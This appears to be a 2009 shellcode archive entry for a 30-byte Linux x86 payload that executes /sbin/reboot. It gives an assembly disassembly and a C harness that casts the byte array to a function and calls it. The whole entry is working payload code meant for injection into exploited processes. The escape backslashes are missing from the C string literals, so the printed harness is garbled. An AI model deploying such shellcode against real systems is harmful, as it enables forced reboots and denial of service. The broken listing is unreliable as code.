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# Title : linux/x86 PUSH reboot() - 30 bytes
# Published : 2009-01-16
# Author : Jonathan Salwan
# Previous Title : win32/xp sp2 Shellcode cmd.exe 57 bytes
# Next Title : linux x86 shellcode obfuscator
/* Linux x86 PUSH reboot() - 30 bytes
* Jonathan Salwan <js.rac.projet[*AT]gmail.com>
* Web: http://racprojet.zapto.org
*
* Disassembly of section .text:
*
* 08048054 <.text>:
* 8048054: 31 c0 xor %eax,%eax
* 8048056: 50 push %eax
* 8048057: 68 62 6f 6f 74 push $0x746f6f62
* 804805c: 68 6e 2f 72 65 push $0x65722f6e
* 8048061: 68 2f 73 62 69 push $0x6962732f
* 8048066: 89 e3 mov %esp,%ebx
* 8048068: 50 push %eax
* 8048069: 89 e2 mov %esp,%edx
* 804806b: 53 push %ebx
* 804806c: 89 e1 mov %esp,%ecx
* 804806e: b0 0b mov $0xb,%al
* 8048070: cd 80 int $0x80
*
*/
main()
{
char shellcode[] =
"x31xc0"
"x50"
"x68x62x6fx6fx74"
"x68x6ex2fx72x65"
"x68x2fx73x62x69"
"x89xe3"
"x50"
"x89xe2"
"x53"
"x89xe1"
"xb0x0b"
"xcdx80";
printf("Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
}
// www.Syue.com [2009-01-16]